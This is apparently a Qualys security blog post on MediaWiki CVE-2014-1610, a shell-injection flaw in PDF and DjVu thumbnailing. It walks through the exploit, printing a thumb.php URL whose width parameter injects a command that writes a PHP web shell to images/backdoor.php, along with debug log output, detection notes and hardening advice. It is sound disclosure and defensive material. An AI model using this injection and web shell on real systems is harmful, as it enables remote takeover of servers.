MediaWiki DjVu and PDF File Upload Remote Code Execution Vulnerability (CVE-2014-1610)
Last updated on: December 20, 2022
Recently, news about an exploit targeting MediaWiki, the software that powers large-scale websites such as Wikipedia, was made available. What makes it really exciting is the fact that it is only the third remote code execution vulnerability to affect this open-source web platform. Discovered by Check Point vulnerability researchers, this vulnerability, CVE-2014-1610, affects MediaWiki 1.22.x before 1.22.2, 1.21.x before 1.21.5 and 1.19.x before 1.19.11. Because it allows the attacker to compromise the underlying system, it is important to identify and patch affected systems.
Conditions Required to Exploit
Exploiting this vulnerability is tricky, as it is exploitable only under the following conditions:
- MediaWiki must have uploads enabled. $wgEnableUploads should be set to true.
- File types – .PDF & .DjVu must be allowed via $wgFileExtensions and the PdfHandler extension to be enabled.
- The user must be in a group with the “upload” rights. By default this is given to all logged-in users.
Under default conditions (even on older versions) the first two conditions are untrue! MediaWiki versions 1.1 and later have their uploads disabled. That is, $wgEnableUploads is always set to false and permitted file types are png, gif, jpg and jpeg only. DjVu is natively supported since MediaWiki version 1.8. Though file uploads and PhdHandler extensions can be easily enabled.
The LocalSettings.php file provides local configuration for a MediaWiki installation.
How the Exploit Works
The vulnerability exists in the PdfHandler_body.php and DjVu.php source files, which fail to sanitize shell meta-characters. Shell meta-characters are special characters in a command that allow you to communicate with the Unix system using a shell. Some examples of shell meta-characters are the opening square bracket [, backslash \, dollar sign $, pipe symbol |, question mark ? and asterisk or star *.
MediaWiki does have a function, wfEscapeShellArg(), to specifically escape such input. But in an apparent programming error, it fails to escape input received via certain parameters such as height and width that are generated while creating a thumbnail of the uploaded file. If file uploads and the PdfHandler extension are enabled, you will be presented with the following screen with an Upload file link in the left column:
After uploading a .PDF file, the thumb.php source file is used to create a thumbnail and resize images that are used when a web browser requests the file. The PdfHandler is a handler called by thumb.php for viewing PDF files in image mode. You can call it with the width, height, etc. parameters to manipulate the thumbnail directions:
Thumb.php actually interfaces extensions to various handlers. This is the key to this vulnerability: simply by passing shell meta-characters to this source file, you can compromise the system.
For demonstration purposes, I will be writing a trivial .php shell file, which can execute commands. In Figure 5 below, the highlighted code is where I’m exploiting the width “w” parameter to ‘write’ <?php system(\\$_GET[ cmd]);”> into images/backdoor.php file.
Choosing a directory with relevant permissions is of importance here. In this case, we have written the shell in the /images folder:
Now you can run a command of your choice:
What’s going on in the background?
MediaWiki has a very robust debugging environment that helps you debug anything – SQL errors, server errors, extension errors, etc. In this case, to understand what goes on behind the scenes, we simply add the following line to the LocalSettings.php file.
$wgDebugLogFile = “/tmp/debug.log”;
When you set this directive, you see all that MediaWiki does behind the scenes. This event is of particular importance to us:
Start request GET /mediawiki/thumb.php?f=Aisb08.pdf&w=400|%60echo%20%22%3C?php%20system(\\$_GET[cmd]);%22%3Eimages/backdoor.php%60
HTTP HEADERS:
HOST: localhost
.
.
FileBackendStore::getFileStat: File mwstore://local-backend/local-thumb/4/41/Aisb08.pdf/page1-400|`echo “<?php system(/$_GET[cmd]);”>images/backdoor.php`px-Aisb08.pdf.jpg does not exist.
IP: 127.0.0.1
User: cache miss for user 1
User: loading options for user 1 from database.
User: logged in from session
File::transform: Doing stat for mwstore://local-backend/local-thumb/4/41/Aisb08.pdf/page1-400|`echo “<?php system(\\$_GET[cmd]);”>images/backdoor.php`px-Aisb08.pdf.jpg
PdfHandler::doTransform: (‘gs’ -sDEVICE=jpeg -sOutputFile=- -dFirstPage=1 -dLastPage=1 -r150 -dBATCH -dNOPAUSE -q ‘/var/www/mediawiki/images/4/41/Aisb08.pdf’ | ‘convert’ -depth 8 -resize 400|`echo “<?php system(\\$_GET[cmd]);”>images/backdoor.php` – ‘/tmp/transform_d386f8960888-1.jpg’) 2>&1
wfShellExec: /bin/bash ‘/var/www/mediawiki/includes/limit.sh’ ‘(‘\”gs’\” -sDEVICE=jpeg -sOutputFile=- -dFirstPage=1 -dLastPage=1 -r150 -dBATCH -dNOPAUSE -q ‘\”/var/www/mediawiki/images/4/41/Aisb08.pdf’\” | ‘\”convert’\” -depth 8 -resize 400|`echo “<?php system(\\$_GET[cmd]);”>images/backdoor.php` – ‘\”/tmp/transform_d386f8960888-1.jpg’\”) 2>&1’ ‘MW_INCLUDE_STDERR=;MW_CPU_LIMIT=180; MW_CGROUP=’\”’\”; MW_MEM_LIMIT=307200; MW_FILE_SIZE_LIMIT=102400; MW_WALL_CLOCK_LIMIT=180’
Here you see that MediaWiki is trying to see if the thumbnail exists or not. Then the PdfHandler is called in with the “–resize 400” parameter to create an image whose width is 400. Then wfShellExec ends up writing the injected PHP shell in the /var/www/mediawiki/images/ folder.
End of story!
QualysGuard uses the BlindElephant engine to detect this vulnerability, using a method called static file fingerprinting to detect web application versions. BlindElephant is a fast, accurate, and very generic web application fingerprinter that identifies application and plugin versions via static files. A whitepaper containing more information about this static file fingerprinting technique can throw more light on this concept. However, it should be noted that the BlindElephant engine included in QualysGuard is an advanced version and has a few more features than the one available publicly.
How to Protect your MediaWiki Systems
What can you do to protect yourselves from such attacks?
The Apache process should be configured only with a ‘read only’ file access. Ownership and write permissions should be assigned to a separate user. For example, on many systems the Apache process runs as www-data:www-data. This www-data user should be able to read all of the files in your MediaWiki directory either by group permissions or by “other” permissions. It should not have write permissions to the code in your MediaWiki directory. If you use features of MediaWiki which require the “files” directory, then give the www-data user the permission to write files only in that directory.
Among other steps, be sure to follow the MediaWiki security recommendations. Additionally, the MediaWiki Security Guide is a more comprehensive guide to set up your own MediaWiki server and write secure PHP and Javascript code that is easy to review and audit.
Qualys customers with VULNSIGS-2.2.644-1 and onwards will be alerted of this vulnerability via QID: 12832 – MediaWiki DjVu and PDF File Upload Remote Code Execution Vulnerability. Customers are advised to upgrade to MediaWiki versions 1.22.2, 1.21.5, 1.19.11 or later to remediate this vulnerability.